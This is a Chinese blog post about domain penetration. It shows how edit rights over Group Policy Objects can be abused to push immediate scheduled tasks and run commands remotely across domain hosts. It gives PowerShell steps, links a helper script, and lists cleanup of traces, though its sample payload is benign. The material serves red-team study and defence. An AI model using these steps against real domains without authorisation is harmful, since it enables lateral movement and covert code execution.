6

域渗透——利用GPO中的计划任务实现远程执行

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言


在之前的文章《渗透基础——Windows下计划任务的使用》曾介绍过计划任务的用法。而在域环境中,通过组策略(Group Policy Object)同样能够实现计划任务的远程执行,本文将要对这个方法进行介绍,分析利用思路。

0x01 简介


本文将要介绍以下内容:

  • GPO中的计划任务简介
  • 通过Group Policy Management Console (GPMC) 实现计划任务的远程执行
  • 通过命令行实现计划任务的远程执行
  • 新建GPO实现远程执行
  • 修改已有的GPO,实现远程执行
  • GPO的常用操作

0x02 简介


值得阅读的资料:

http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/

https://adsecurity.org/?p=2716

http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_052_Willi_GPO.pdf

GPO全称Group Policy Objects,用来存储Active Directory中的策略

自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户

默认情况下,域用户的组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新

注:

可通过命令实现组策略的强制更新

默认组策略的保存位置:\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\,所有域内主机都能访问

注:

之前的文章《域渗透-利用SYSVOL还原组策略中保存的密码》曾介绍过这个文件位置

默认存在两个组策略,每个文件夹对应一个组策略:

{6AC1786C-016F-11D2-945F-00C04fB984F9}对应Default Domain Controllers Policy

{31B2F340-016D-11D2-945F-00C04FB984F9}对应Default Domain Policy

Alt text

0x03 通过Group Policy Management Console (GPMC) 实现计划任务的远程执行


在域控制器上,位置: Administrative Tools -> Group Policy Management

Alt text

选择域test.local,右键,选中第一个,创建GPO,如下图

Alt text

输入名称TestGPO1,这会创建一个全局的GPO,作用于所有域用户

选择TestGPO1,右键,Edit...

User Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks

New -> Immediate Task(Windows Vista and later),如下图

Alt text

注:

Immediate Task会在每次组策略刷新时执行

四种计划任务的区别可参考官方文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3dws.11)

注:

也可以选择位置Computer Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks

接下来,根据提示设置计划任务即可

为便于测试,执行的操作为将执行结果输出到文件,如下图

Alt text

这个组策略对应的ID为{7D85A2EF-F525-4D8C-B12D-F2825F3A1224},在位置\\test.com\SYSVOL\test.com\Policies\{7D85A2EF-F525-4D8C-B12D-F2825F3A1224}\User\Preferences\ScheduledTasks下找到文件ScheduledTasks.xml,里面保存计划任务的配置信息

对于域内的主机,可以等待90分钟使组策略自动更新,也可以在客户端执行如下命令强制刷新组策略:

gpupdate /force

客户端默认更新组策略的方式:

读取域共享目录中组策略的版本,位置为\\<domain.com>\Policies\<gpo id>\GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略

每次修改组策略,\\<domain.com>\Policies\<gpo id>\GPT.ini中的Version会增加

如果域控制器强制客户端刷新组策略,那么不会比较域共享目录中组策略的版本

0x04 通过命令行实现计划任务的远程执行


域控制器系统: Windows Server 2012 R2 x64 域名: test.com

1、创建一个GPO

New-GPO -Name TestGPO1

2、将GPO连到到域test.com

New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

注:

两条命令可以简写为一条命令:

new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"

通过命令行回显获得ID为0bfd3f0c-21a1-4eca-8a5e-1f0bd4dc64dc

3、创建计划任务

通过Group Policy Management Console (GPMC)创建的计划任务会自动注册

而我目前还没有找到注册计划任务的接口,所以只能寻找一个变通的方法

好在我最终找到了变通的解决方法,步骤如下:

(1)导出GPO

Backup-Gpo -Name TestGPO1 -Path C:\test

(2)创建计划任务的配置文件ScheduledTasks.xml

路径为\\<domain.com>\Policies\<gpo id>\DomainSysvol\GPO\User\Preferences\ScheduledTasks\ScheduledTasks.xml

(3)修改Backup.xmlgpreport.xml

加入计划任务的配置信息

(4)还原GPO

Import-GPO -BackupId <backupid> -TargetName TestGPO1 -Path C:\test

完整实现代码已开源,下载地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1

注:

下篇文章将会详细介绍原理和脚本实现细节

脚本命令示例:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'

脚本自动实现以下操作:

  • 将TestGPO备份至当前目录
  • 修改备份文件夹下的Backup.xmlgpreport.xml
  • 在备份文件夹中生成文件ScheduledTasks.xml
  • 还原TestGPO

4、强制客户端刷新组策略

Invoke-GPUpdate -Computer "TEST\COMPUTER-01"

注:

Windows Server 2008 R2默认不支持该命令,Windows Server 2012支持

客户端的防火墙需要允许以下连接:

  • Remote Scheduled Tasks Management (RPC)
  • Remote Scheduled Tasks Management (RPC-ERMAP)
  • Windows Management Instrumentation (WMI-IN)

官方资料:

https://docs.microsoft.com/en-us/powershell/module/grouppolicy/invoke-gpupdate?view=win10-ps

5、删除GPO

Remove-GPO -Name TestGPO1

注:

通过Group Policy Management Console (GPMC)右键删除GPO不会删除对应的文件夹,Remove-GPO可以

0x05 利用思路


前提是获得了域管理员的权限或者某个组策略的编辑权限

通用操作如下:

加载GroupPolicy模块:

Import-Module GroupPolicy –verbose

获得所有GPO的内容:

Get-GPO -All

将所有GPO导出为一个HTML报告:

Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html

将每个GPO单独导出一个HTML报告:

Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")
}

查看指定GPO的权限设置:

Get-GPPermission -Name "TestGPO1" -All 

备份指定GPO:

Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups

备份所有GPO:

Backup-Gpo -All -Path "c:\GpoBackups"

还原指定GPO:

Restore-GPO -Name TestGPO1 -Path C:\GpoBackups

还原所有GPO:

Restore-GPO -All -Path "c:\GpoBackups"

根据不同情况,有以下两种利用思路:

1、新建组策略,创建计划任务实现远程执行

  • 创建一个新的GPO
  • 备份GPO
  • 修改Backup.xml和gpreport.xml
  • 创建ScheduledTasks.xml
  • 还原GPO
  • 强制客户端刷新策略
  • 清理操作痕迹

2、修改已有组策略,替换计划任务

如果域控制器上已有策略并配置了计划任务

不再需要注册,修改ScheduledTasks.xml就好

0x06 GPO的常用操作


创建OU:

New-ADOrganizationalUnit -Name OUTest1 -Path "dc=test,dc=com"

查看当前域中的所有计算机:

dsquery computer

获得结果”CN=Computer1,CN=Computers,DC=test,DC=com”

将该计算机加到OU=OUTest1中:

dsmove "CN=Computer1,CN=Computers,DC=test,DC=com" -newparent OU=OUTest1,dc=test,dc=com

查询OU=OUTest1中的计算机:

dsquery computer OU=OUTest1,dc=test,dc=com

创建GPO并连接:

new-gpo -name TestGPO | new-gplink -Target "OU=OUTest1,dc=test,dc=com"

将计算机Computer1从OU=OUTest1中移除

dsmove "CN=Computer1,OU=OUTest1,DC=test,DC=com" -newparent CN=Computers,dc=test,dc=com

删除OU=OUTest1:

set-ADOrganizationalUnit -Identity "OU=OUTest1,dc=test,dc=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUTest1,dc=test,dc=com" -Recursive -Confirm:$False

0x07 小结


本文介绍了利用GPO中的计划任务实现远程执行的方法,分析利用思路,通过命令行实现了GPO和计划任务的创建、修改和删除。

0x08 补充

我注意到harmj0y的博客中提到了某些情况下他的脚本无法使用的情况:

http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/

个人认为是因为创建的计划任务没有注册,使用我修改以后的脚本应该能解决这个问题,如果读者有新的建议,欢迎及时反馈。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK